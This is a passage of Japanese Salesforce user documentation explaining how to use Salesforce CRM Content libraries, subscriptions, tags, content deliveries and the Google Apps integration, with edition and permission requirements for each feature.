• すべてのファイルバージョンのリストと、著者が入力した変更理由の記録を参照するには、[バージョン]

サブタブをクリックします。
• そのファイルをダウンロードしたすべての Salesforce CRM Content ユーザのリストを参照するには、[ダウン

ロード] サブタブをクリックします。Web リンクまたはGoogleドキュメントでは、データをダウンロードす
ることはできません。

• そのファイル、Web リンク、または Google ドキュメントを登録しているすべての Salesforce CRM Content ユー
ザのリストを参照するには、[登録者] サブタブをクリックします。著者の登録を行うには、著者名の横の
ドロップダウンボタンをクリックします。ライブラリの登録を行うには、ライブラリ名の横のドロップダ
ウンボタンをクリックします。

• タグ名をクリックすると、そのタグと関連付けられているすべてのコンテンツが表示されます。タグの隣
にある矢印をクリックして、タグを削除するか、そのタグですべてのコンテンツを登録します。

• 新しいタグを追加するには、[タグの追加] 項目でタグ名を入力し、[保存] をクリックします。タグを入力
すると、Salesforce CRM Content で、[保存または公開] ウィンドウの [私の最近のタグ] リストと、[ライブラリ]

タブの [人気のあるタグ] セクションのタグに基づいてタグのオートコンプリート機能が実行されます。

メモ: 管理者がライブラリのタギングルールを適用した場合は、新しいタグを入力できないことがあ
ります。ガイド付きタギングルールが適用されている場合は、[タグの追加] をクリックして、推奨タ
グのリストから選択することも、新しいタグを入力することもできます。制限付きライブラリタギン
グルールが適用されている場合は、[タグの追加] をクリックして、推奨タグのリストから選択できま
すが、新しいタグを入力することはできません。

• 著者名をクリックすると、著者の公開コンテンツのリストが表示されます。著者名の横にある矢印をクリッ
クし、[著者の登録] をクリックすると、その著者が公開したすべてのコンテンツを登録できます。

• [主要にする]または[主要にしない]をクリックして、「主要」コンテンツ指定のオン/オフを切り替えます。
主要コンテンツがない場合は、このセクションが表示されません。主要コンテンツは、検索結果内の類似
コンテンツよりも優先順位が高く、たとえば売上納入商品という検索条件にあてはまるファイルが 100 件存
在する場合、その語句を含む主要ファイルが検索結果リストの一番上に表示されます。主要コンテンツは
ライブラリの概要ページおよび詳細ページにも表示され、すばやくアクセスできるようになっています。

• ライブラリの名前をクリックすると、ライブラリの詳細を参照できます。ライブラリ名の横にある矢印を
クリックし、[ライブラリの登録] を選択すると、そのライブラリにあるすべてのコンテンツが登録され、
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[ライブラリコンテンツを表示] を選択すると、そのライブラリに公開されているすべてのファイル、コン
テンツパック、Web リンク、および Google ドキュメントが表示されます。

[コンテンツ] 関連リストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content に
アクセスする
• 個人情報の

[Salesforce CRM

Content ユーザ]

レコード詳細ページの [コンテンツ] 関連リストには、Salesforce CRM Content でそ
のレコードと関連付けられたすべてのコンテンツへのリンクが表示されます。
ファイル名をクリックすると、コンテンツの詳細ページが表示されます。
そのコンテンツが公開されたライブラリのメンバーである Salesforce CRM Content

ユーザのみが、[コンテンツ] 関連リスト内の公開ファイルを参照できます。たと
えば、BigDealStrategy.doc を販促資料ライブラリに公開するときに「大口
取引」商談を選択した場合、その「大口取引」商談の [コンテンツ] 関連リスト
には、その販促資料ライブラリのメンバーにのみ、BigDealStrategy.doc へ
のリンクが表示されます。そのライブラリのメンバーでないユーザには、その
リンクが表示されません。
[関連コンテンツ] 関連リストを使用して、リード、取引先、取引先責任者、商
談、ケース、商品、またはカスタムオブジェクトから Salesforce CRM Content にア
クセスできます。詳細は、「Salesforce CRM Content 関連先レコードの検索」 (ペー
ジ 3844)を参照してください。

関連トピック:

Salesforce CRM Content の概要
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コンテンツ登録の表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンテンツを登録する
• [Salesforce CRM

Content ユーザ] 機
能ライセンスをユーザ
詳細ページで有効化

または

[ポータルのコンテン
ツの参照] プロファイ
ル権限を持つポータル
ユーザ

[登録] タブをクリックすると、登録のホームページが表示されます。このページ
では、Salesforce CRM Content の登録の表示とオン/オフの切り替えができます。

メモ: ファイル、コンテンツパック、Web リンク、または Google ドキュメ
ントを登録するには、そのコンテンツ詳細ページを表示して[登録]をクリッ
クします。タグ、著者、またはライブラリ名の横にあるドロップダウンメ
ニューを使用して、コンテンツ詳細ページから、タグ、著者、またはライ
ブラリを登録することもできます。

[登録] タブで、[コンテンツ]、[タグ]、[著者]、[ライブラリ] サブタブをクリック
すると、自分の登録内容が表示されます。通知設定によって、登録済みコンテ
ンツの変更が、リアルタイムまたは 1 日に 1 回、メールで通知されます。

ヒント: 通知設定を行うには、個人情報ページに移動し、[編集]をクリック
して、[Salesforce CRM Content のメールアラートを受信] を選択しま
す。リアルタイムではなく、1 日に 1 回概要を受信する場合は、
[Salesforce CRM Content のアラートをデイリーダイジェストとして受
信] も選択します。

登録内容によって次の通知が生成されます。
• ファイルを登録すると、閲覧者がファイルにコメントを追加したとき、また

はそのファイルの新バージョンが公開されたときに通知されます。Web リン
クまたはGoogleドキュメントを登録した場合は、コメントが追加されたとき
には通知されますが、リンクが変更されたりドキュメントが編集されたりし
ても通知されません。

• コンテンツパックを登録すると、新しいバージョンのパックを公開したとき
に通知されます。コンテンツパックの各ファイルが登録されなければ、新し
いバージョンのファイルが公開されても通知されません。

• タグを登録すると、登録済みタグに関連付けられたコンテンツが新たに公開されたときに通知されます。
タグ付けされたコンテンツの新バージョンが入手可能になった場合に通知を受けるには、そのコンテンツ
を登録します。

• 著者を登録すると、その著者が新しいコンテンツを公開したときに通知されます。著者のコンテンツの新
バージョンが入手可能になった場合に通知を受けるには、そのコンテンツを登録します。

• ライブラリを登録すると、既存のコンテンツが登録済みライブラリに新たにリンクされた場合を含め、新
しいコンテンツがライブラリに追加されたときに通知されます。ライブラリコンテンツの新バージョンが
入手可能になった場合に通知を受けるには、そのコンテンツを登録します。

メモ: コンテンツを登録している外部コミュニティまたはポータルユーザのメール通知に [ダウンロード]

および [詳細を表示] のリンクは表示されません。

関連トピック:

コンテンツのバージョンの更新
ファイルのフォロー
新しいバージョンのファイルのアップロード
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ライブラリの表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリを編集する
• 「Salesforce CRM

Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

ライブラリメンバーを追
加または削除する
• 「Salesforce CRM

Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

[ライブラリ] タブのホームページまたはコンテンツ詳細ページの [私のライブラ
リ]エリアで Salesforce CRM Contentのライブラリを指定してライブラリ名をクリッ
クすると、詳細情報が表示されます。ページ上部の公開オプションについての
詳細は、「コンテンツのアップロードと公開」を参照してください。
ライブラリのタイトルエリアから、次のクイックリンクをクリックできます。
• 参照: ライブラリ内のすべてのコンテンツを表示する検索結果を参照する。
• 編集: ライブラリの名前や説明を変更する。
• 削除: 空のライブラリを削除する。コンテンツを含むライブラリを削除する

場合は、コンテンツを別のライブラリに移動するか、削除してごみ箱からも
削除する必要があります。

メモ: ごみ箱からも削除したにも関わらずライブラリを削除できない場
合は、同じライブラリから削除されたコンテンツが別のユーザのごみ箱
に存在している可能性があります。すべてのコンテンツが完全に削除さ
れるか別のライブラリに移されるまで、ライブラリを削除することはで
きません。

• メンバーの編集: ライブラリのメンバーを追加または削除するか、メンバー
のライブラリ権限を変更する。

• タギングルール: ライブラリで許可されているタギングメソッドを変更する。
• レコードタイプ: ライブラリの寄稿者が使用できるレコードタイプを制限す

る。
• アーカイブされたコンテンツの参照: ライブラリ内のアーカイブされたコン

テンツの一覧を参照する。ライブラリ権限に「コンテンツのアーカイブ」ま
たは「ライブラリの管理」権限オプションが設定されていない場合は、アー
カイブされたコンテンツのリストに自分が作成およびアーカイブしたコンテ
ンツのみが表示され、他の著者がアーカイブしたコンテンツは表示されませ
ん。

ライブラリの詳細ページには、次のセクションがあります。
メンバー

このセクションには、ライブラリのメンバーであるすべての Salesforce CRM Content ユーザが表示されます。
メンバーリストを制限するには、ユーザ名を入力して [検索条件] をクリックします。ユーザ名の最初の文
字で絞り込むことができますが、姓で絞り込むことはできません。
ライブラリに新しいメンバーを追加する手順は、次のとおりです。
1. [メンバーの追加] をクリックします。
2. 追加するメンバーがリストされていない場合は、検索ボックスにそのメンバーの名を入力し、[検索]を

クリックします。
3. [選択可能なユーザ] ボックスからメンバーを選択します。メンバーには、個々の Salesforce CRM Content

ユーザまたは Salesforce CRM Content ユーザを含む公開グループが含まれます。
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ヒント: Salesforce CRM Content ユーザが多数の場合は、ユーザを個別にライブラリに追加するのでは
なく、公開グループを作成してそのグループをライブラリに追加します。

4. [追加] をクリックすると、ライブラリにメンバーが追加されます。
5. [次へ] をクリックします。
6. 各ユーザまたは公開グループのライブラリ権限を選択して、[保存] をクリックします。
ライブラリからメンバーを削除するには、[削除] をクリックします。メンバーのライブラリ権限を変更す
るには、[編集] をクリックし、ドロップダウンリストから新しいライブラリ権限を選択します。

主要コンテンツ
このセクションには、ライブラリ内で「主要」と指定されたコンテンツが新しいものから 5 つ表示されま
す。主要マークの付いたコンテンツがない場合、このセクションは表示されません。主要コンテンツがな
い場合は、このセクションが表示されません。主要コンテンツは、検索結果内の類似コンテンツよりも優
先順位が高く、たとえば売上納入商品という検索条件にあてはまるファイルが 100 件存在する場合、その語
句を含む主要ファイルが検索結果リストの一番上に表示されます。「主要」とマークされたコンテンツを
すべて表示するには、[すべて表示] をクリックします。主要マークのオン/オフを切り替えるには、コンテ
ンツ詳細ページに移動します。

トップコンテンツ
このセクションには、ライブラリ内のコンテンツの使用状況を要約するリストが表示されます。リスト内
のファイルアイコンをクリックしてコンテンツをダウンロードするか、タイトルをクリックして、関連コ
ンテンツの詳細ページを表示します。[トップコンテンツ] セクションでは、次の条件カテゴリを選択でき
ます。
• 公開日 — コンテンツは、最新の公開日から降順で並べ替えられます。付随するドロップダウンリスト

から参照するレコードの件数を選択するか、[すべて表示]ボタンをクリックすると、公開されているす
べてのファイル、Web リンク、および Google ドキュメントが表示されます。

• ダウンロード数 — コンテンツは、ダウンロード数が多い順に降順で並べ替えられます。棒グラフは、
あるレコードと別のレコードとの比較を示します。付随するドロップダウンリストから参照するレコー
ドの件数を選択するか、ダウンロードされたコンテンツをすべて表示する場合は[すべて表示]ボタンを
クリックします。

• 評価 — コンテンツは、賛成投票数の多い順に降順で並べ替えられます。棒グラフの緑色と赤色は、そ
れぞれ賛成票と反対票を表します。付随するドロップダウンリストから参照するレコードの件数を選択
するか、投票が関連付けられているコンテンツをすべて表示する場合は[すべて表示]ボタンをクリック
します。

• コメント数 — コンテンツは、閲覧者のコメント数が多い順に降順で並べ替えられます。棒グラフは、
あるレコードと別のレコードとの比較を示します。付随するドロップダウンリストから参照するレコー
ドの件数を選択するか、コメントが関連付けられているコンテンツをすべて表示する場合は [すべて表
示] ボタンをクリックします。

人気のあるタグ
「タグクラウド」に、ライブラリのコンテンツに付けられているラベルが表示されます。タグは、コンテ
ンツを分類および整理しやすくするために、アップロードまたは修正時に割り当てた説明語句のことを意
味します。タグ名をクリックすると、そのタグが付いているすべてのファイル、Web リンク、およびGoogle

ドキュメントを含む検索結果が表示されます。タグクラウド内では、使用頻度によってタグ名のサイズが
増えます。つまり、タグが大きいほど、高い頻度でコンテンツに割り当てられていることになります。ユー
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ザは、タグをアルファベット順または使用頻度順のどちらでソートするかを選択できます。タグクラウド
では、使用頻度の高いものから 30 のタグが表示されます。

最近の活動
このセクションは、ライブラリ内の活動のスナップショットです。コメント、投票、または登録された最
新のファイル、Web リンク、または Google ドキュメントが表示されます。主要コンテンツと新しく公開さ
れたコンテンツも含まれますが、既存コンテンツの新バージョン、アーカイブされたコンテンツ、および
削除されたコンテンツは [最近の活動] セクションに表示されません。[過去] および [最近] ボタンを使用し
てレコードをスクロールします。[最近の活動] セクションには、最大 100 件のレコードが表示されます。

最も活動的な寄稿者
このセクションには、ライブラリに最も頻繁にコンテンツをアップロードした著者が表示されます。活動
状況が名前の大きさに反映され、コンテンツを最も多く寄稿した著者の名前が一番大きく表示されます。

関連トピック:

ライブラリの管理
コンテンツのバージョンの更新
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ライブラリの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリを作成する
• 「Salesforce CRM

Content の管理」

または

「ライブラリの作成」

ライブラリを編集する
• 「Salesforce CRM

Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

[ライブラリ]タブでは、非公開ライブラリへのアクセス、新しいライブラリの作
成、参照または編集するライブラリの選択、およびライブラリの使用状況と活
動の分析を行います。ページ上部の公開オプションについての詳細は、「コン
テンツのアップロードと公開」を参照してください。ライブラリのホームペー
ジには、共有ライブラリの情報を表示する [共有コンテンツ] と、非公開ライブ
ラリの情報を表示する [私の非公開ファイル] の 2 つのタブがあります。

共有コンテンツ
ライブラリのホームページの [共有コンテンツ] タブには、次のセクションがあ
ります。
私のライブラリ

このセクションには、自分がアクセス権を持っているすべてのライブラリが
表示されます。ライブラリ名をクリックしてライブラリの詳細を表示する
か、[参照] をクリックしてライブラリ内のすべてのコンテンツの一覧を表示
します。ライブラリの新規作成、ライブラリへのユーザの追加、またはユー
ザへのライブラリ権限の割り当てを行うには、[新規] ボタンをクリックしま
す。

主要コンテンツ
このセクションには、ライブラリ内で「主要」と指定されたコンテンツが新
しいものから 5 つ表示されます。主要コンテンツがない場合は、このセク
ションが表示されません。主要コンテンツは、検索結果内の類似コンテンツ
よりも優先順位が高く、たとえば売上納入商品という検索条件にあてはまる
ファイルが 100 件存在する場合、その語句を含む主要ファイルが検索結果リ
ストの一番上に表示されます。「主要」とマークされたコンテンツをすべて
表示するには、[すべて表示] をクリックします。コンテンツの主要マークの
オン/オフを切り替えるには、コンテンツ詳細ページに移動します。

トップコンテンツ
このセクションには、すべてのライブラリのコンテンツの使用状況を要約したリストが表示されます。各
リストでは、条件に従ってコンテンツが並び替えられます。リスト内のファイルアイコンをクリックして
コンテンツをダウンロードするか、タイトルをクリックして、関連コンテンツの詳細ページを表示します。
[トップコンテンツ] セクションでは、次の条件カテゴリを選択できます。
• 公開日 — コンテンツは、最新の公開日から降順で並べ替えられます。付随するドロップダウンリスト

から参照するレコードの件数を選択するか、[すべて表示]ボタンをクリックすると、公開されているす
べてのファイル、Web リンク、および Google ドキュメントが表示されます。

• ダウンロード数 — コンテンツは、ダウンロード数が多い順に降順で並べ替えられます。棒グラフは、
あるレコードと別のレコードとの比較を示します。付随するドロップダウンリストから参照するレコー
ドの件数を選択するか、ダウンロードされたコンテンツをすべて表示する場合は[すべて表示]ボタンを
クリックします。

• 評価 — コンテンツは、賛成投票数の多い順に降順で並べ替えられます。棒グラフの緑色と赤色は、そ
れぞれ賛成票と反対票を表します。付随するドロップダウンリストから参照するレコードの件数を選択
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するか、投票が関連付けられているコンテンツをすべて表示する場合は[すべて表示]ボタンをクリック
します。

• コメント数 — コンテンツは、閲覧者のコメント数が多い順に降順で並べ替えられます。棒グラフは、
あるレコードと別のレコードとの比較を示します。付随するドロップダウンリストから参照するレコー
ドの件数を選択するか、コメントが関連付けられているコンテンツをすべて表示する場合は [すべて表
示] ボタンをクリックします。

人気のあるタグ
一般に「タグクラウド」と呼ばれるこのセクションには、ライブラリのコンテンツに付けられているラベ
ルが表示されます。タグは、コンテンツを分類および整理しやすくするために、アップロードまたは修正
時に割り当てた説明語句のことを意味します。タグ名をクリックすると、そのタグが付いているすべての
ファイル、Web リンク、およびGoogleドキュメントを含む検索結果が表示されます。タグクラウド内では、
使用頻度によってタグ名のサイズが増えます。つまり、タグが大きいほど、高い頻度でコンテンツに割り
当てられていることになります。ユーザは、タグをアルファベット順または使用頻度順のどちらでソート
するかを選択できます。タグクラウドでは、使用頻度の高いものから 30 のタグが表示されます。

最近の活動
このセクションは、ライブラリ内の活動のスナップショットです。コメント、投票、または登録された最
新のファイル、Web リンク、または Google ドキュメントが表示されます。主要コンテンツと新しく公開さ
れたコンテンツも含まれますが、既存コンテンツの新バージョン、アーカイブされたコンテンツ、および
削除されたコンテンツは [最近の活動] セクションに表示されません。[過去] および [最近] ボタンを使用し
てレコードをスクロールします。[最近の活動] セクションには、最大 100 件のレコードが表示されます。

最も活動的な寄稿者
このセクションには、ライブラリに最も頻繁にコンテンツを公開した著者が表示されます。活動状況が名
前の大きさに反映され、コンテンツを最も多く寄稿した著者の名前が一番大きく表示されます。

私の非公開ファイル
ライブラリのホームページの [私の非公開ファイル] タブは、自分の非公開のライブラリです。コンテンツを
アップロードまたは作成し、公開ライブラリを選択しない場合、コンテンツは非公開ライブラリに保存されま
す。コンテンツは随時公開ライブラリに公開することも、非公開ライブラリ内に永続的に保持しておくことも
できます。非公開ライブラリにあるコンテンツは、コンテンツパック内でアセンブルできます。コンテンツ配
信機能を使用して、組織外のリードおよび取引先責任者に送信することもできます。詳細は、「コンテンツ配
信の設定」 (ページ 4277)を参照してください。[私の非公開ファイル] タブには、次のセクションがあります。
非公開ライブラリ

ファイル、Web リンク、コンテンツパック、またはGoogleドキュメントの公開時に [私の非公開ライブラリ
に保存]オプションを選択すると、コンテンツが非公開ライブラリに保存されます。リストのファイルを公
開または削除できます。またはファイル名をクリックして、コンテンツの詳細ページを表示できます。共
有コンテンツのコンテンツ詳細ページで使用可能なオプション (タギング、評価、登録、ダウンロードの追
跡、登録の追跡、カスタム項目の使用) は、非公開ライブラリのコンテンツには使用できません。[非公開
ライブラリ] リストからファイルを公開し、その公開プロセス中に [キャンセル]をクリックすると、ファイ
ルが削除されます。

中止したアップロード
新規ファイルのアップロード中にエラーが発生した場合 (ブラウザのクラッシュやセッションのタイムアウ
トなど)、アップロードしていたファイルはここに保存されます。[公開] をクリックしてファイルを公開ラ
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イブラリに公開するか、非公開ライブラリに保存します。[コンテンツの保存または公開] ダイアログで[キャ
ンセル] をクリックすると、ファイルが削除されます。

中止したアップロードの修正
新しいバージョンのファイルのアップロード中にエラーが発生した場合、アップロードしていたファイル
はここに保存されます。元のバージョンにアクセスを続行できます。[公開] をクリックしてファイルを公
開ライブラリに公開するか、非公開ライブラリに保存します。[コンテンツの保存または公開] ダイアログ
で [キャンセル] をクリックすると、ファイルが削除されます。

関連トピック:

コンテンツ配信の設定
Salesforce CRM Content のコンテンツパックの作成および変更
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コンテンツ配信

コンテンツ配信の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce CRM Content を
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content の
共有ライブラリからコン
テンツ配信を作成する
• ライブラリのメンバー

および

ライブラリ権限定義の
「コンテンツの配信」

Salesforce CRM Content の
個人ライブラリからコン
テンツ配信を作成する
• 一般的な権限定義の

「アップロード済み
ファイルと個人コンテ
ンツの配信」

コンテンツ配信を作成す
る (コンテンツユーザ以外)
• 一般的な権限定義の

「アップロード済み
ファイルと個人コンテ
ンツの配信」

コンテンツ配信を使用すると、Microsoft® PowerPoint ファイルや Word ファイルなど
のドキュメントを、簡単にオンライン表示できるように最適化された Web ベー
スバージョンに簡単に変換できます。コンテンツ配信を作成したら、リード、
お客様、パートナー、および同僚など、任意の受信者に暗号化された URL 送信
して、そのコンテンツが参照またはダウンロードされた回数を追跡できます。
コンテンツ配信は、Salesforce Classic のみで使用できます。ただし Lightning メール
は、コンテンツ配信機能にアクセスできるLightning Experienceユーザに対するメー
ルの添付ファイルとして配信ベースのリンクを生成します。
コンテンツ配信は、多くの Salesforce オブジェクトの [コンテンツ配信] 関連リス
トから作成できます。Salesforce CRM Content ユーザは、コンテンツ詳細ページま
たは [関連コンテンツ] 関連リストからもコンテンツ配信を作成できます。
新規のコンテンツ配信を作成する手順は、次のとおりです。
1. [コンテンツ配信] 関連リスト、[関連コンテンツ] 関連リスト、またはコンテ

ンツ詳細ページで、[コンテンツの配信] をクリックします。
2. ファイルをアップロードまたはファイル名を確認します。Salesforce CRM Content

ユーザの場合は、ライブラリ内で配信するコンテンツを検索します。Salesforce

CRM Contentユーザは、共有ライブラリまたは個人ライブラリでコンテンツを
検索できます。

3. 必要に応じて、[配信名]項目を変更します。この名前により、Salesforce内で
コンテンツ配信が識別されます。同一レコード上の他の配信と容易に区別で
きる名前を使用することをお勧めします。デフォルトの配信名には、ファイ
ル名と今日の日付が含まれます。

4. 配信方法を選択します。これによって、コンテンツを表示する方法が決まり
ます。表示されるオプションは、アップロードしたファイルの形式によって
異なります。
• [受信者にブラウザでの参照を許可]を選択すると、ファイルのオンライン

バージョンが作成されます。オンラインバージョンのファイルは、受信
者がブラウザで表示できます。

• [受信者にファイルの種類としてダウンロードを許可] を選択すると、コン
テンツ配信の受信者が元のファイル形式でコンテンツを表示できます。
たとえば、Microsoft® Word ファイルをアップロードした場合、この項目は
[Allow download as .doc file] となります。
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メモ: Salesforce にファイルのプレビューが存在しない場合、ダウンロードが許可されているかどう
かに関係なく、ユーザは配信されたファイルをダウンロードできます。ファイルのプレビューは、
Salesforceで最初にそのファイルが要求されたときに作成されますが、要求される前には作成されて
いません。ファイルの詳細ページを表示するか、ファイルをフィードに投稿すると、ファイルのプ
レビューが生成されます。

• [受信者に PDF でのダウンロードを許可] を選択すると、受信者がファイルの .pdf バージョンをダウン
ロードできます。このオプションは、Microsoft® PowerPoint ファイル、Word ファイル、Excel ファイルでの
み使用できます。

5. 受信者が最初にコンテンツ配信 URL をクリックしたとき、メールによる通知を受信するには、[最初に参照
またはダウンロードされたら私に通知] を選択します。

6. 配信するコンテンツに有効期限がある場合は、[コンテンツに対するアクセス権を削除]チェックボックスを
オンにして、有効期限を入力します。デフォルトでは、有効期限は現在日付から 90 日です。コンテンツ配
信を作成したら、配信詳細ページでいつでも有効期限を変更できます。

7. 必要に応じて、[コンテンツへのアクセスにパスワードが必要]を選択します。コンテンツ配信を作成すると
き、配信 URL と共に含めて受信者に送信するパスワードも受け取ります。パスワードは、その配信が有効
である間、配信詳細ページで入手できます。

8. 必要に応じて、検索を使用して、コンテンツ配信をSalesforceレコードと関連付けます。[コンテンツの配信]

をクリックしたときに参照していたレコードがデフォルトで選択されます。
9. [保存 & 次へ]をクリックします。しばらくすると配信準備が整いますが、[私に通知]をクリックして、コン

テンツの配信ウィザードを終了すると、コンテンツ配信の準備が完了次第、メールで通知されます。
10. コンテンツの配信ウィザードを終了しなかった場合は、[プレビュー] をクリックして配信が満足できる品

質で表示されることを確認してください。

重要: オンラインバージョンでは、元のファイルの書式が正しく表示されないことがあります。[受信
者にブラウザでの参照を許可]を選択した場合は、コンテンツの配信をプレビューで確認してから、そ
の URL を受信者に送信してください。オンラインバージョンの品質に満足できない場合は、[前へ] を
クリックして、コンテンツを元のファイル形式または PDF 形式でのみ公開するようにします。

11. 配信用のメールまたはインスタントメッセージに、配信 URL と (該当する場合は) パスワードをコピーして
貼り付けます。URL は配信詳細ページに公開されています。詳細は、「コンテンツ配信の表示と編集」を参
照してください。

関連トピック:

リンクを使用したファイルの共有
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コンテンツ配信の表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce CRM Content を
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

配信詳細ページを表示す
る
• Salesforce CRM Content

の関連コンテンツの詳
細ページへのアクセス

または

コンテンツ配信に関連
付けられたレコードに
アクセスします。

コンテンツ配信を編集、
削除、または期限切れに
する
• レコードの所有者

または

「すべてのデータの編
集」

[コンテンツ配信] 関連リストまたはコンテンツ配信リストページで、コンテンツ
配信の名前をクリックして詳細ページを開きます。
コンテンツ配信の詳細の表示

配信詳細ページには、コンテンツ配信に関するすべての情報が表示されま
す。具体的には、配信が参照された回数、配信の設定などです。コンテンツ
配信へのアクセスを提供する URL は、コンテンツまたはそのコンテンツに関
連付けられたレコードへのアクセス権がある場合、あるいはコンテンツ配信
の所有者である場合にのみ表示されます。各項目についての詳細は、「コン
テンツ配信項目」を参照してください。

コンテンツ配信の詳細の編集
コンテンツ配信へのアクセスをすぐに削除するには、[今すぐ期限切れにす
る] をクリックします。配信方法、有効期限、関連付けられたレコード配信
などの詳細を変更するには、[編集] をクリックします。各項目についての詳
細は、「コンテンツ配信項目」を参照してください。

コンテンツ配信の削除
コンテンツ配信へのアクセス権を削除し、Salesforce から配信レコードを削除
するには、[削除] をクリックします。Salesforce CRM Content ユーザは、まずコ
ンテンツ配信を削除しないと、そのコンテンツ配信に関連付けられたファイ
ルを削除できません。

コンテンツ配信の追跡
コンテンツ配信の URL が開かれるたびに、Salesforce ではその行動を 1 回の参
照として記録します。コンテンツ配信詳細ページの [参照] 関連リストには、
その配信に関連付けられたすべての参照が一覧表示されます。参照に関する
情報には、日付と時刻、社内 (Salesforce) ユーザによる参照かどうか、ダウン
ロードも行われたかどうかなどが含まれます。ファイルを元のファイル形式
または PDF ファイルとしてダウンロードする機能を提供しているコンテンツ
配信では、[ダウンロードされたファイル] フラグによってダウンロードが行
われたことが示されますが、ファイルの種類を識別することはできません。

関連トピック:

Salesforce CRM Content のコンテンツパックの作成および変更
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[コンテンツ配信] 関連リストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

コンテンツ配信を作成す
る
• なし

コンテンツ配信を編集す
る
• レコードの所有者

または

「すべてのデータの編
集」

コンテンツ配信を使用すると、Microsoft® PowerPoint ファイルや Word ファイルなど
のドキュメントを、簡単にオンライン表示できるように最適化された Web ベー
スバージョンに簡単に変換できます。コンテンツ配信を作成したら、リード、
お客様、パートナー、および同僚など、任意の受信者に暗号化された URL 送信
して、そのコンテンツが参照またはダウンロードされた回数を追跡できます。
コンテンツ配信は、Salesforce Classic のみで使用できます。ただし Lightning メール
は、コンテンツ配信機能にアクセスできるLightning Experienceユーザに対するメー
ルの添付ファイルとして配信ベースのリンクを生成します。
リード、法人取引先、取引先責任者、商談、ケース、キャンペーン、商品、ま
たはカスタムオブジェクトの [コンテンツ配信] 関連リストから、次の操作を行
います。
• [コンテンツの配信] をクリックして、新しいコンテンツ配信を作成し、表示

しているレコードと関連付けます。詳細は、「コンテンツ配信の作成」を参
照してください。

• [プレビュー] をクリックして、コンテンツ配信を開きます。コンテンツ配信
を表示するごとに、[表示] 関連リストの社内参照として記録されます。

• コンテンツ配信名をクリックすると、その配信の詳細ページが表示されま
す。詳細は、「コンテンツ配信の表示と編集」を参照してください。

Google Apps

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Google ドキュメントや Gmail などの Google アプリケーションを Salesforce と統合し
ます。

Google Apps の概要
Salesforce での Google ドキュメントの使用
Salesforce への Google ドキュメントの追加
既存の Google ドキュメントを Salesforce のレコードまたはライブラリに追加で
きます。

Google Apps の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Google Apps™ は、Google がホスティング提供する、業務のコミュニケーションと
コラボレーションのためにビジネスユーザ向けに設計されたオンデマンドサー
ビスです。Salesforce は、主要な Google Apps サービスとのインテグレーションを
図り、Google 関連機能を拡張しカスタマイズする AppExchange アプリケーション
を提供します ( 英語版のみ)。
次のGoogle AppsサービスがSalesforceと統合されています。使用するには、Salesforce

管理者による簡単な有効化が必要です。
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Google ドキュメントを Salesforce に追加
Google ドキュメント™により、オンデマンドのドキュメント、スプレッドシート、プレゼンテーションの作
成、ブラウザでのそれらの編集、および他のユーザとのリアルタイムでの業務連携作業が可能です。[Salesforce

への Google ドキュメントの追加] サービスが有効になっている場合、次のことが可能です。
• Salesforce レコードにある [Google ドキュメント、メモ & 添付ファイル] 関連リストまたは [Google ドキュメ

ント & 添付ファイル] 関連リストを使用して、Google ドキュメントの作成、編集または参照を行い、そ
れらをレコードに関連付けます。

• Google ドキュメントを組織の Google Apps ユーザと共有します。
• Salesforce で作業していない場合は、[Google ドキュメントを Salesforce に追加] ブラウザボタンを使用し

て、Salesforce ドキュメントと Google レコードを関連付けます。
• Google ドキュメントを Salesforce CRM Contentに追加し、そこからあらゆる種別のコンテンツを一元管理で

きます。
Gmail to Salesforce

Gmail™ はすべての標準ブラウザ上で操作できる Web ベースのメールアプリケーションです。各企業のドメ
インで使用できます。[Gmail to Salesforce] を使用すると、Gmail アカウントから送信したメールが、Salesforce

のリードや取引先責任者レコードの活動として自動的に記録されます。
Gmail ボタンと Gmail リンク

[Gmail ボタンと Gmail リンク] は、すべてのレコードのメール項目の横に [Gmail] リンクを追加し、リードと
取引先責任者の [活動履歴] に [Gmail を作成] ボタンを追加します。Gmail リンクまたは [Gmail を作成] を選択
すると、Salesforceにより自動的にGmailアカウントにログインし、[宛先]項目を自動的に入力します。[Gmail

to Salesforce] が有効であれば、Salesforce は [BCC] 項目にも [メール to Salesforce] のアドレスを入力します。

Salesforce での Google ドキュメントの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce で Google ド
キュメントを使用する
• 該当するレコードタイ

プに対する「参照」

および

Google Apps アカウン
ト

Google ドキュメント™を使用して、オンデマンドのドキュメント、プレゼンテー
ション、およびスプレッドシート (これらを「Google ドキュメント」といいいま
